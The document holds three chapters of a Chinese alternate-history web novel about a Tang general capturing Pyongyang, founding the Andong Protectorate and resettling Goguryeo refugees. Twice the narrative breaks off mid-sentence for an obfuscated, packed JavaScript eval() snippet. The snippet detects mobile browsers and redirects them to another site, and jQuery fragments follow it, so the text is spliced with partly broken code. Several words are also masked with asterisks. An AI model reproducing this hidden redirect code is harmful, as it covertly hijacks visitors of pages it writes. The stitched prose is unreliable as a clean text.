而在遥远的洛阳,当乌骨城被“天雷”轰破的捷报以六百里加急送至紫微宫时,朝野震动。武则天闻报,喜动颜色,对左右道:“梁国公真乃国之干城!此‘镇国大将军炮’,果不负其名!传诏嘉奖,厚赏有功工匠、将士!此等利器,当秘之,善用之!”她敏锐地意识到,这种新式武器不仅在军事上意义重大,在**上,将其与“天罚”、“神佑”相联系,更能强化她“受命于天”的权威。于是,在朝廷的官方捷报和《大唐报》的渲染下,“乌骨大捷”被描绘成“二圣德被天地,故有神雷助阵,诛灭逆贼”的祥瑞之战。李瑾知道这其中的**运作,但此刻,他更关心的是如何尽快拿下平壤,结束这场战争。
第225章 平壤城陷落
麟德五年,五月。
鸭绿江的春水挟带着上游融雪的寒意,滚滚南下,汇入西朝鲜湾。而在距离入海口不远的平壤平原上,战争的热度却足以蒸发任何寒意。高句丽七百余年国祚的最后都城——平壤,此刻正陷入唐军从南、北两个方向而来的、钢铁般的巨大钳形包围之中。
陆路,李瑾在攻克乌骨城、扫清沿途零星抵抗后,挥师直进,连破大行城(今朝鲜成川)、羞城(今朝鲜价川)等外围据点,兵锋直抵平壤以北的浿水(大同江)支流。沿途高句丽守军或溃或降,全无战心。“天雷轰城”的恐怖传说,比唐军的铁骑更快地摧毁了许多守军的意志。李瑾严令禁止屠城、掳掠,对降者妥善安置,对顽固抵抗者坚决打击,进一步分化了高句丽内部。五月初,唐军陆路主力十余万,携新降仆从军数万,在浿水北岸扎下连营,旌旗漫野,与平壤城隔水相望。
水路,孙仁师所部四万唐军,在成功登陆、击退高句丽数次反扑后,稳扎稳打,沿浿水西岸向北推进,沿途拔除烽燧、堡寨,于五月中旬进抵平壤以南三十里处,背靠水师舰船,扎下坚固营垒,彻底切断了平壤与半岛南部的联系,并对平壤城南形成直接威胁。
至此,平壤,这座高句丽最后的堡垒,已完全陷入唐军陆路李瑾部与水路孙仁师部的南北夹击之下,成为一座孤城。城东是连绵山地,城西是宽阔的浿水,唯有南北两个方向可供大军进出,如今皆被唐军扼住咽喉。
平壤城内,却是另一番景象。恐慌、绝望、猜忌、背叛,如同瘟疫般蔓延。泉男生弑君自立本就名不正言不顺,全靠血腥**和利诱维持统治。如今唐军大兵压境,传说中的“天雷”神器更是让守军胆寒,原本就暗流涌动的内部矛盾彻底爆发。
泉男生龟缩在原来的王宫(此时他尚未正式称王,但已僭用王宫)内,面色铁青,眼窝深陷,早已不复当初弑君时的嚣张。殿内,他的心腹将领、官员也大多惶惶不可终日。
“莫离支!唐军已在南北两面立营,正在打造攻城器械,其水师战船已溯浿水而上,游弋江面,截断水路!城中粮草……虽尚可支撑数月,然军心已乱,今日又有三处城门守将密谋献城,已被**,然恐……”一名将领战战兢兢地禀报。
“够了!”泉男生猛地将手中金杯掷在地上,发出刺耳的响声。“李瑾老贼!孙仁师匹夫!欺人太甚!”他咆哮着,状若疯虎,“我高句丽立国数百载,山城坚固,岂是易与?传令下去,将城中所有丁壮,全部赶上城墙!分发兵器,敢有退缩者,立斩!家族连坐!城内粮食,统一调配,敢有私藏抢掠者,杀无赦!本王……不,本莫离支要与平壤共存亡!唐军若敢攻城,定叫其尸横遍野!”
然而,严厉的军令和血腥的**,并未能提振多少士气,反而加剧了恐慌。城中贵族、富户开始悄悄转移财物,甚至暗中与城外的唐军联络,寻求退路。普通百姓则在饥饿、恐惧和强制征发的多重压迫下,苦苦挣扎。
浿水北岸,唐军中军大营。李瑾并未急于发动总攻。他深知,平壤城高池深,守军尚众,强攻必然伤亡惨重。他采取的是“围三阙一,攻心为上”的策略。
他命令大军在南北两面深沟高垒,打造无数攻城器械,日夜操练,做出全力攻城的姿态,给守军施加巨大的心理压力。同时,故意放松对东面山地的警戒,留下一条“生路”,诱使守军或有心突围,或从内部生变。
更重要的是,他持续不断地发动心理攻势。每日,唐军阵前都有被俘的高句丽将领、贵族,或是从城中逃出的百姓,用箭射入、用风筝飘入、甚至派死士潜入城中大量散发的劝降文书。文书上,不仅再次重申“只诛泉男生及其核心党羽,余者不问,归顺有赏”,还详细开列了投降后的待遇:贵族官员可保留部分财产、爵位,士兵百姓免罪,甚至有功者可得田宅。文书还历数泉男生弑君、暴虐、引战招祸的罪行,将一切灾难归咎于他一人。
李瑾甚至亲自写了一封措辞严厉而又带有最后通牒性质的书信,射入城中,指名道姓给泉男生:“……尔本高氏家奴,不思报效,反行篡逆,囚禁天使,辱及天朝,天人共愤!今我天兵百万,已合围尔城,水陆并进,天威所至,顽石齑粉。尔若识时务,自缚出降,面缚衔璧,或可全尸。若执迷不悟,负隅顽抗,待城破之日,必焚尔宫室,戮尔宗族,掘尔祖坟,使尔高句丽宗庙不血食!限尔三日之内答复,逾期,玉石俱焚!”
这封信如同一块巨石投入本已沸腾的油锅,在平壤城内引发了更剧烈的震荡。泉男生看到信后暴跳如雷,当场斩杀了一名劝他“暂避锋芒”的文官,但内心的恐惧却如毒草般蔓延。他手下的一些将领、官员,则开始私下串联,心思各异。
第三日,期限已到,平壤城头没有任何投降的迹象,反而加强了戒备。李瑾知道,最后一战,不可避免了。
五月十八日,凌晨,天色未明,浿水两岸笼罩在淡淡的晨雾中。唐军南北大营,突然同时响起了低沉而绵长的号角声,随即,战鼓震天动地地擂响!
“咚!咚!咚!咚——!!!”
南北两个方向,数以百计的“大将军炮”被推到了阵前。不过,这次的目标并非直接轰击平壤高大的城墙——李瑾考虑到城内仍有大量无辜百姓,且火炮对如此厚重城墙的毁伤效果未必最佳,他采取了更巧妙的用法。
“目标——城头箭楼、城门楼、瓮城哨塔!齐射!”随着公孙墨挥动令旗,南北两个炮阵,近百门火炮同时发出怒吼!
“轰!轰轰轰——!!!”
震耳欲聋的巨响再次撕裂了清晨的宁静,无数火舌喷吐,浓烟滚滚。重型石弹和开花铁弹(内装**、铁蒺藜)划破晨雾,带着死神的尖啸,狠狠砸向平壤城头各处防御工事!
这一次,炮击不再追求轰塌城墙,而是重点摧毁城头的防御设施、压制守军。坚固的城门楼在数轮轰击下崩塌一角,木石飞溅;高高的箭塔被拦腰炸断,轰然倒塌,上面的守军惨叫着坠落;女墙后的守军被四处飞溅的碎石铁片打得血肉模糊。更可怕的是那种会**的铁弹,在人群密集处炸开,火光迸射,铁片横飞,瞬间清空一片区域,给守军造成了巨大的心理震慑和实际杀伤。
“天雷!唐军又用天雷了!”城头一片鬼哭狼嚎,许多守军不顾将领的呵斥**,抱着头蜷缩在垛口下,瑟瑟发抖。
炮火准备持续了约两刻钟(半小时),将平壤城头的主要防御工事和守军士气狠狠犁了一遍。随即,炮火开始延伸,轰击城墙内侧可能的集结区域和通往城头的甬道。
“攻城!”李瑾在中军高台上,挥下了令旗。
早已准备就绪的唐军攻城部队,如同决堤的洪水,从南北两个方向,向平壤城发起了总攻!
南面,孙仁师指挥水师,以楼船上的**炮、投石机继续轰击沿岸城墙和城门,掩护步卒架设浮桥、云梯,猛攻南门(大同门)。他麾下多江淮劲卒,擅长水战和近身搏杀,攻势如潮。
北面,是主攻方向。梁建方、王方翼、曹怀舜等大将,各率本部,在盾车、木幔(移动护墙)的掩护下,扛着无数云梯、推着高大的攻城塔和冲车,涌向城墙。弓**手在后方列成密集阵型,将一波波箭雨泼洒上城头,压制残余的守军。无数士卒呐喊着,冒着城头零星的滚木礌石和箭矢,将云梯架上城墙,开始蚁附攀登。冲车在大力士的推动下,轰鸣着撞击着厚重的北门(玄武门)。
攻城战瞬间进入白热化。城上城下,箭矢如蝗,滚木礌石如雨,喊杀声、惨叫声、兵刃撞击声、火炮的轰鸣声(间歇性射击,压制城头反击点)、冲车的撞击声……混杂在一起,奏响了一曲残酷而雄壮的战地交响。
唐军将士前赴后继,勇不可当。而守军在经历了最初的炮火打击和心理崩溃后,在泉男生及其死党的疯狂督战下,也爆发出困兽犹斗的凶性,拼死抵抗。城墙上下,每一寸土地都在激烈争夺,尸体迅速堆积起来。
战斗从清晨持续到午后,双方伤亡都极为惨重。唐军一度数次攻上城头,建立了小型的桥头堡,但都被高句丽守军以人命为代价,疯狂地反扑下来。城墙多处破损,但主体依然屹立。冲车将北门撞得伤痕累累,却未能洞穿。
就在战事胶着之际,平壤城内,突然火光四起,喊杀声大作!而且是来自王宫方向!
原来,城内一些早就对泉男生不满、又看到唐军势大、接受了唐军劝降条件的贵族、将领,在唐军猛攻、吸引了守军绝大部分注意力的时候,突然发动了叛乱!他们率领家兵、私属,直扑王宫,意图擒杀泉男生,献城立功!王宫卫队猝不及防,陷入混战。城内顿时大乱,许多原本在城头抵抗的士兵听到后方起火、王宫遇袭,军心彻底瓦解,开始溃散或倒戈。
泉男生正在北门附近亲自督战,闻听王宫叛乱,又见城头守军动摇,知道大势已去,狂吼一声,率领最忠心的数百名亲卫骑兵,竟然不再守城,而是突然打开西门(朱雀门?此处按方位设定,平壤或有多个门,可虚指),试图突围而出,逃往东部山区。
“泉男生要跑!”城头的唐军瞭望哨和空中的风筝观察哨(唐军使用风筝进行简易侦察)立刻发现了这一动向。
“梁建方!率你本部精骑,追
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069270|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
击泉男生,生要见人,死要见尸!”李瑾果断下令。
“得令!”早已按捺不住的梁建方,率数千精骑,如离弦之箭,从尚未完全合拢的西门缺口冲入,沿着街道,向泉男生逃亡的方向狂追而去。
城内大乱,西门洞开,主将逃亡……一连串的打击,终于压垮了平壤守军最后的抵抗意志。北门、南门几乎在同时被突破,唐军如潮水般涌入城内。
“城破了!唐军进城了!”
“莫离支跑了!快逃啊!”
“投降!我们投降!”
呼喊声、哭泣声、哀求声,响彻全城。仍有部分泉男生的死忠部队在街巷进行零星的、绝望的抵抗,但很快就被唐军淹没。大部分守军丢弃兵器,跪地请降。城内百姓则紧闭门户,胆战心惊地听着外面的喊杀声、马蹄声。
李瑾在亲卫的簇拥下,从北门入城。他面色沉静,并未因破城而有丝毫喜色,反而更加凝重。“传令各军,分定坊市,肃清残敌,严禁劫掠,严禁杀害降兵与平民!有违令者,斩!速派兵控制府库、粮仓、武库、官署!寻找高句丽王室成员!孙仁师所部,控制南城及码头,防止有人从水路逃窜!”
一条条命令迅速下达,涌入城内的十数万唐军,开始展现出极高的纪律性。在将领的约束下,他们迅速占领各交通要道、战略要点,扑灭零星抵抗,收押俘虏,安抚百姓。混乱很快被控制下来。
午后,梁建方派人飞马来报:泉男生及其残部在城东三十里外的山谷中被追上,经过短暂激战,泉男生拒降,被乱箭射杀,枭首。其子泉献诚(历史人物,泉男生之子,后降唐)及部分心腹被生擒。
未时,王方翼部来报:在已是一片混乱的王宫中,找到了被泉男生囚禁的原高句丽王高藏(宝藏王),以及高藏的王后、部分王子、公主等王室成员。高藏面容憔悴,惊魂未定,见到唐将,涕泪横流,连连叩首,口称“罪臣”,表示愿率宗室归降。
紧接着,控制府库、官署的将领也纷纷来报,缴获了高句丽的王室印玺、舆图、户籍、财帛、粮草无数。
日落时分,平壤城内的大规模战斗基本平息。残阳如血,映照着这座刚刚经历战火洗礼的都城。街巷中仍有唐军巡逻队往来穿梭,空气中弥漫着硝烟和淡淡的血腥味,但秩序已初步恢复。许多百姓在唐军士兵的指挥下,开始清理街道,扑灭余火。
李瑾在临时清理出来的原高句丽王宫正殿——安鹤宫(历史上高句丽平壤王宫名)前,接受了高藏率王室成员及城中未逃官员的正式投降。高藏一身素服,手捧高句丽王玺、舆图和户籍册,匍匐于地,身后黑压压跪倒一片。
看着眼前这一幕,李瑾心中并无多少喜悦,只有一种沉重的、历史性的慨叹。自隋文帝以来,历经四代帝王,折损百万军民,困扰中原近百年的高句丽边患,至此,终于在他手中,画上了**。太宗皇帝未竟的梦想,今日得偿。然而,这胜利的背后,是无数将士的鲜血,是两个民族的伤痕。
他缓步上前,接过高藏手中的王玺,高高举起。夕阳的余晖为那方玉玺镀上了一层凄艳的金红色。
“高句丽王高藏,及其臣属,愿归顺大唐,永为臣妾!”司礼官高声宣唱。
四周的唐军将士爆发出震天的欢呼:“大唐万胜!万胜!万胜!”
声浪直冲云霄,惊起了王宫檐角归巢的暮鸦。
李瑾放下玉玺,沉声道:“高藏听旨:尔祖尔父,世受皇恩,不思图报,屡生叛逆,扰我边境,罪在不赦。然陛下、天后仁慈,念尔为权臣所制,身不由己,今既归降,可免一死。着即褫夺王号,收其国玺、舆图、户籍。尔及宗室、百官,随大军还朝,听候陛下、天后发落!”
“罪臣……叩谢天恩!万岁,万岁,万万岁!”高藏以头抢地,泣不成声。他身后的王室、官员,也纷纷叩首,不少人暗自松了口气,至少,性命暂时保住了。
是夜,平壤城内,唐军大营灯火通明,庆祝胜利。而被严格看管起来的高句丽王宫旧址内,则是一片愁云惨雾。城外,浿水默默流淌,映照着天上的残月和城头的点点篝火,仿佛在无声地诉说着一个古老王国覆灭的挽歌。
李瑾没有参加庆功宴。他独自登上安鹤宫残存的高台,望着这座在暮色与灯火中显得格外苍凉的都城,望着远处依稀可见的、埋葬着高句丽历代先王(如东明圣王、好太王等)的陵墓方向,久久沉默。
高句丽,亡了。但如何消化这片土地,如何安置这数百万遗民,如何确保辽东乃至东北亚的长治久安,真正的考验,或许才刚刚开始。他紧了紧身上的大氅,辽东的夜风,依旧带着寒意。
第226章 设安东都护府
平壤城破,高句丽王族、百官被俘,权臣泉男生授首,标志着这个立国七百余年的东北亚强国,在唐军海陆并进的铁拳下,终于彻底崩塌。然而,对于身为辽东道行军大总管、实际上的战后最高处置者李瑾而言,真正的挑战,才刚刚开始。
战火虽已基本平息,但平壤城内外,乃至整个高句丽故地,仍然是一片混乱。泉男生残余党羽的零星抵抗尚未完全肃清,散兵游勇、溃兵盗匪啸聚山林,滋扰地方。更重要的是,如何处置这片广袤的土地和其上数百万的高句丽遗民,成为摆在李瑾和洛阳朝廷面前最紧迫、也最棘手的难题。
五月的平壤,天气渐热。李瑾并未入住奢华但略显阴森的原高句丽王宫,而是将行辕设在城北一处相对完整、原本属于某个高句丽大贵族的府邸内。府邸大堂被临时改作节堂,墙上悬挂着巨大的高句丽故地山川舆图,上面密密麻麻标注着唐军的控制点、已降城池、残敌活动区域以及重要的道路、关隘、粮仓。
每日,各种文书、军报、民情如同雪片般飞来。有各部将领汇报肃清残敌、收降纳叛进展的;有粮草官报告缴获物资、但同时也忧心本地存粮不足、大军补给压力日增的;有斥候送回各地城主、酋长态度暧昧、骑墙观望情报的;还有新罗方面使者再次前来,言辞恭谨但目的暧昧,无非是想探听唐军虚实、并在战后分一杯羹……
李瑾案头的文书堆积如山。他深知,军事征服只是第一步,甚至可以说是相对容易的一步。如何将这片土地真正纳入大唐版图,实现长治久安,避免重蹈前隋乃至本朝太宗时期“旋得旋失”的覆辙,才是真正的考验。高句丽不同于突厥、吐谷浑,它是一个有着悠久历史、成熟文化、严密社会组织、以及强烈民族认同的农耕-山城复合型政权,其民众对中原王朝的认同感远不如那些游牧部族。简单的羁縻、册封其王室后人,恐怕难以杜绝日后再生叛乱。
一连数日,李瑾召集麾下主要将领、幕僚,以及熟悉辽东事务的文官(如原安东都护府官员、投降的高句丽“知唐派”文士等),反复商讨战后治理之策。争论异常激烈,大致形成了以下几种意见:
以梁建方、孙仁师等将领为代表的“强力镇戍派”主张,应在高句丽故地仿照安西、安北都护府旧例,设立强大的都护府,屯驻重兵,分割其地,迁其豪强,直接管辖,实行高压控制,稍有异动,即行**。此策见效快,威慑力强,但所需驻军极多,耗费巨大,且易激起当地民众持续反抗。
以杜宾客、高侃等熟悉边务的官员为代表的“羁縻分化派”认为,可效仿对突厥、吐谷浑旧策,保留高句丽王室(如高藏或其子)虚名,册封为都督、郡王,令其统辖旧地,但分封其子弟、贵族于各地,使其互相制衡,同时派遣长史、司马等汉官监督,并迁部分高句丽贵族、富户入中原,削弱其地方根基。此策成本较低,但控制力弱,易养痈成患,且高句丽王室威望尚存,恐成隐患。
还有少数投降的高句丽文士,战战兢兢地提出“以高治高”,希望唐朝能效仿汉之护乌桓校尉、唐初对**厥之策,扶植一个亲唐的高句丽政权,作为藩属,承担守边之责。此议一出,立刻遭到多数唐方将领幕僚的激烈反对,认为纯属养虎遗患,绝不可行。
李瑾端坐主位,听着众人的争论,手指无意识地在舆图上划过平壤、辽东城、国内城、乌骨城……这些曾经流尽了隋唐两朝无数将士鲜血的名字。他想起太宗皇帝临终前对高句丽的念念不忘,想起泉男生嚣张的檄文,想起战死在乌骨城、平壤城下的唐军将士,也想起了那些在战火中流离失所、眼神麻木的高句丽平民。
“诸君所言,皆有道理。”待众人争论稍歇,李瑾缓缓开口,声音不大,却让整个节堂安静下来,“然则,治大国若烹小鲜,因地制宜,因时制宜。高句丽非突厥,其民久居城郭,耕织为生,有典籍,知礼仪,亦有剽悍山民,桀骜难驯。若纯以武力高压,则如抱薪救火,徒耗国力,激起民变,永无宁日。若一味羁縻怀柔,则恐其故态复萌,数十年后,又生一泉盖苏文、泉男生。”
他站起身,走到舆图前,拿起一支朱笔,在高句丽故地的核心区域——以平壤为中心,包括浿水(大同江)、萨水(清川江)、鸭绿水(鸭绿江)流域的肥沃平原和主要城池上,画了一个大圈。
“此地,乃高句丽数百年来之根本,人口稠密,田畴肥沃,城邑众多。必须由朝廷直接管辖,不容有失。”他语气斩钉截铁,“我意,奏请朝廷,于此设立一新的都护府,仿内地州县之制,划设州、县,派遣流官,推行大唐律令、租庸调法、均田制,教授儒学,行华夏衣冠、正朔。驻以重兵,镇以大将,牢牢掌控军政大权,使其地、其民,渐同内地。”
他又用笔在圈外的东部、北部山区,以及靠近新罗、靺鞨的边境地区,点了几下:“至于这些偏远山城、羁縻部落,可酌情保留其首领地位,授予刺史、县令等官职,或设羁縻州府,许其**,但须接受都护府管辖,按时朝贡,提供兵员、赋税,其子弟须入平壤或洛阳学习。此谓‘以夷制夷’,亦可减少治理阻力,节省驻军。”
最后,他的笔尖落在了辽东(辽河以东)和朝鲜半岛北部之间的蜂腰地带,以及半岛南部靠近新罗的边境:“辽东故地,自前朝以来,屡有郡县,汉民渐多,此次叛乱,辽东城等地归顺者众,可就此设立正州,加强管辖。与新罗接壤处,须明确划界,立碑为记,以免日后纷争。新罗此番虽未全力助战,亦有观望之嫌,然其国小力弱,可加安抚,亦需震慑。”
“大总管此策,可谓刚柔并济,标本兼治!”杜宾客沉吟片刻,率先赞同,“直接控制核心腹地,犹如扼其咽喉;羁縻边远,如同安抚四肢。既能实得其利,又能减其反抗。”
“然则,”孙仁师提出疑虑,“设立州县,派遣流官,所需官吏甚多,从何而来?且语言不通,风俗迥异,治理恐非易事。驻军亦需庞大,粮饷转运,耗费何止千万?”
李瑾点点头:“孙将军所虑甚是。官吏可三途并用:一者,从此次东征有功将士、幕僚中,选拔通晓军事、略知民政者,就地转任;二者,奏请朝廷,从关内、河东、河南等地,选派干练官员、士人前来,许以优厚俸禄、升迁之阶;三者,吸纳高句丽旧吏中,熟悉民事、愿意归化、且无大恶者,加以培训、考核后任用,以为辅助。至于驻军……”他顿了顿,“不必全赖中原调拨。可于当地编练府兵,招募高句丽丁壮为‘城傍’、‘团结兵’,以高句丽人制高句丽人,辅以汉军精锐镇守要害。粮饷亦可部分取自当地,减轻中原转运之劳。”
“至于高句丽王室及豪强……”李瑾眼中闪过一丝冷光,“高藏及其直系宗室、泉男生死党首要,必须全部迁往神都洛阳、长安,严加看管,赐以宅邸,荣养之,亦软禁之,使其远离故土,断其根基。其余各地城主、酋长、豪强,愿内附迁入中原者,厚赏田宅,分散安置于江淮、山南、剑南等地,使其脱离本土势力。不愿内附者,可留于当地,但须将其子弟送入平壤或洛阳为质,并分割其土地、部众,授予其他归顺者或新设州县。”
这一套组合拳下来,既有强力控制,又有怀柔分化;既有直接管辖,又有羁縻笼络;既迁走了最不稳定的上层核心,又一定程度上安抚了中层和地方势力;既推行了唐制,又考虑了本地实际情况。众人听完,仔细思量,都觉此策虽非完美,但确实是当下最可行、最稳妥的方案。
“大总管思虑周详,末将等佩服!”众将、幕僚齐声道。
“既如此,便以此为基础,拟定
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069271|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
详细方略,连同高句丽王玺、舆图、户籍,以及泉男生首级,一并快马加急,奏报朝廷,请陛下、天后圣裁。”李瑾做出决定,“在此之间,我等需先行善后事宜:肃清残敌,稳定秩序,清点户口田亩,抚恤伤亡,收拢流民,恢复生产。传令各军,务必严守军纪,不得扰民,违令者斩!对新罗使者,可告之我朝将设都护府,直接管辖高句丽故地,令其安守本分,不得觊觎。对其王,可加以封赏,重申宗藩之礼。”
“遵命!”
庞大的战争机器,开始从征服模式,转向治理模式。一道道命令从平壤的行辕发出,唐军除了必要的警戒和清剿部队,大部分开始转为驻防和维稳。官吏、文士们则投入到繁琐的接收、清点、造册工作之中。李瑾亲自巡视平壤街巷,慰问伤兵,接见本地有影响力的耆老、士人,宣讲朝廷政策,稳定人心。同时,严厉**了几股试图趁乱劫掠的溃兵和本地匪盗,迅速恢复了平壤及周边地区的秩序。
两个月后,神都洛阳的诏书,以六百里加急的速度,穿越千山万水,送达平壤。诏书完全同意了李瑾的方略,并做出了更具体的安排:
“制曰:高句丽小丑,屡叛天常,今既荡平,宜建藩镇,以固边陲。可于其平壤置安东都护府,授李瑾检校安东都护,持节,镇抚高句丽故地诸军事。其辖境,西起辽水,东至海,南界新罗,北接靺鞨、契丹。下分设九都督府,四十二州,一百县。其都督、刺史、县令,由都护府遴选奏闻,朝廷授之。迁高藏及其宗室、泉男生党羽首要入京,其余酋豪,愿内附者听,不愿者留质子弟。发关中、河南、河东良家子及府兵两万,长驻安东,为镇军。募高句丽丁壮骁勇者,编为‘安东团结兵’,分隶诸州。免当地三年租调,劝课农桑,兴办庠序。……”
诏书还宣布了对有功将士的大肆封赏,李瑾加太子太师,增食邑;梁建方、孙仁师、王方翼、曹怀舜、杜宾客等将领各有升迁赏赐;阵亡者厚加抚恤。同时,严令新罗、百济(此时百济已亡,但其遗民仍有势力)、靺鞨、契丹等周边部族,各守疆界,不得趁乱侵掠,并令其遣使入朝祝贺、朝贡。
接到诏书,李瑾心中稍定。朝廷的支持,特别是明确设立“安东都护府”并授予他全权,是后续治理的关键。他立即着手,以平壤为治所,搭建安东都护府的初步框架。任命梁建方为安东副都护,兼领平壤镇守使,统辖镇军;孙仁师为水军总管,负责半岛西海岸及浿水、萨水流域水陆防务;杜宾客为长史,高侃为司马,协助处理民政、后勤;王方翼、曹怀舜等分赴各地,担任主要都督府的都督,负责清剿残敌、建立统治。
同时,大规模的迁移、安置工作也随即展开。高藏及其王室成员、主要妃嫔、子女,以及泉男生等叛乱首脑的家族,被严密看守,准备押往洛阳。愿意内附的高句丽贵族、富户,也开始登记造册,分批向中原迁移。各地城主、酋长在唐军的威慑和朝廷的诏令下,大部分选择了归顺,或亲自、或派遣子弟前往平壤,接受都护府的任命或“邀请”。
麟德五年秋,安东都护府在平壤正式挂牌成立。虽然一切都只是草创,百废待兴,各种困难、反抗、磨合还在后面,但一个全新的、由大唐直接统治的行政军事机构,已经在这片古老的土地上扎下了根。它标志着高句丽作为一个独立政权,彻底成为历史,也标志着大唐的疆域和直接管辖范围,扩展到了朝鲜半岛中部。困扰中原王朝近百年的东北边患,似乎终于找到了一个根本性的解决之道。然而,李瑾站在刚刚修缮的都护府衙门前,望着远处苍茫的群山和滚滚南流的浿水,心中清楚,这只是一个开始。都护府的巩固、民族的融合、边疆的长治久安,还有漫漫长路要走。而他,作为这片土地的第一任守护者,责任重大。
第227章 纳高句丽遗民
安东都护府的设立,如同一块巨石投入湖面,在高句丽故地激起了层层涟漪。军事征服的雷霆之后,是更为复杂、艰巨且漫长的战后治理与消化。李瑾深知,刀剑可以摧毁一个国家,但要让这片土地上数百万民众真心归附,让“安东”真正安宁,需要的不仅仅是驻军和衙署,更是人心。
首要且最敏感的,便是对高句丽遗民的处置。这并非简单的征服者与被征服者的关系,而是涉及数百万人口、复杂的社会结构、深厚的历史文化认同的庞大工程。一着不慎,便可能引发连绵的抵抗,让之前的军事胜利付诸东流。李瑾在深思熟虑并与幕僚反复商讨后,定下了“分化、吸纳、同化、安抚”并举的总体策略,并雷厉风行地开始推行。
一、贵族与精英:迁徙与驯化
高句丽王室、泉男生**核心成员及其直系家族,被列为必须“内徙”的首批对象。在精锐唐军的“护送”下,高藏及其妃嫔、子女、近支宗室数百人,连同泉男生、渊净土等已死或被捕叛臣的主要亲属、党羽,共计两千余口,分成数批,踏上了前往洛阳的漫长旅程。他们将被安置在洛阳、长安附近的特定里坊,赐予宅院、田产,享有一定的生活保障,但处于严密的监视之下,形同高级囚徒。这是斩断高句丽复国**象征和核心力量的关键一步。沿途,李瑾严令护送将领务必保证这些人安全,不得**,但亦不得使其与旧部有任何联系。
对于其他高句丽贵族、官员、地方豪强、大商贾,则采取了“自愿内附,厚赏分置”的政策。都护府发布公告,明确列出内附的好处:授予中原官职(多为散官、虚衔)、赐予关内、江淮、山南等地良田美宅、子弟可优先进入国子监或地方官学就读、经商给予便利等。同时,对坚持留居本地者,则要求其遣送至少一名嫡子或重要子侄前往平壤或洛阳“入侍”(实则为质),并详细登记其家族人口、田产、奴仆,接受都护府的监督和赋税征调。
此策一出,反应各异。部分对高句丽王室感情深厚、或对唐充满疑虑的贵族,宁愿交出人质,也要留在故土,观望风色。但更多嗅觉灵敏、或本就与泉男生政权不睦的贵族、富户,看到了融入强大唐朝体系可能带来的长远利益和安全感,选择了举家内迁。短短数月间,陆续有近百户高句丽上层家族,变卖部分不易携带的产业,携带着金银细软、书籍典籍、能工巧匠,在唐军保护下,踏上了西行或南下的道路。他们被分散安置在中原各地,避免了形成新的地方势力,同时也将高句丽的文化、技术(如某些建筑、医药、工艺)带入了唐朝,开始了缓慢的文化融合。
二、平民与士卒:安置与吸纳
对于占人口绝大多数的平民、普通士兵、手工业者、商人,李瑾的政策以“安抚稳定,恢复生产,逐步吸纳”为主。
第一要务是恢复秩序,保障民生。严厉**趁乱劫掠的溃兵、匪盗,宣布大赦除了泉男生死党外的所有胁从军民。派出大量宣抚使,持李瑾手令,深入城乡,用高句丽语和汉语发布安民告示,承诺“各安生业,既往不咎”,宣布免除安东都护府辖境内所有百姓当年的租庸调,并视情况减免未来一至两年的赋税。同时,打开从高句丽王室、叛乱贵族府库中缴获的部分粮仓,在平壤、辽东城、国内城等主要城市设立粥棚,赈济因战乱而流离失所的难民,并发放少量粮种、农具,鼓励其返回原籍或就近开垦无主荒地,恢复农业生产。
“民以食为天。春耕已误,夏耘秋收不可再失。传令各州县,首要之务,便是助民复耕。凡有主之地,确认地契后,发还原主耕种;无主之地、叛产,由官府统一招佃,或分与无地之民、有功将士屯垦,三年内租赋减半。”李瑾在都护府会议上强调。他深知,只有让百姓有地种、有饭吃、有活路,社会才能稳定,统治才有基础。
第二是吸纳丁壮,化兵为民,亦民亦兵。高句丽军队在战后瓦解,大量士卒溃散回乡,或成为流民。李瑾下令,原高句丽士兵,可自愿选择:一是解甲归田,与平民一样分地、免赋;二是通过选拔,编入新设立的“安东团结兵”或“城傍兵”,成为大唐在当地的辅助军事力量,接受唐军训练和指挥,驻扎本地或轮戍他处,给予军饷、田地,立功者可升迁甚至转入正规唐军。此举既消化了不稳定因素,又为唐军补充了熟悉地形、气候的兵员,还节省了从内地调兵的巨大消耗。当然,对这些“团结兵”的编制、将领任命、驻地调防,李瑾牢牢掌握在都护府和亲信汉将手中,防止其尾大不掉。
第三是推行教化,开启同化之门。在平壤设立“安东官学”,招募通晓汉文和高句丽语的学者任教,首批学生主要从归顺的高句丽中下层官吏、地方豪强子弟以及唐军中有功将士子弟中选拔,教授儒家经典、大唐律令、汉文书法算术。李瑾甚至亲自题写了“宣化导俗”的匾额。同时,下令各州县,鼓励甚至资助地方兴办乡学、村学,教材以朝廷颁布的《五经正义》等为主,师资可聘请流寓至此的汉人士子,或选拔本地通晓汉文的学者。对于学业优秀者,可推荐至洛阳国子监深造,或参加唐制的科举考试(虽初期名额极少,但象征意义巨大)。教育,是从根本上改变下一代认同的长远之策。
三、土地与赋税:制度的接轨
要建立长久统治,必须在经济基础上与唐朝制度接轨。李瑾以都护府名义,开始在高句丽核心区域推行唐制的基础——户籍和土地制度。
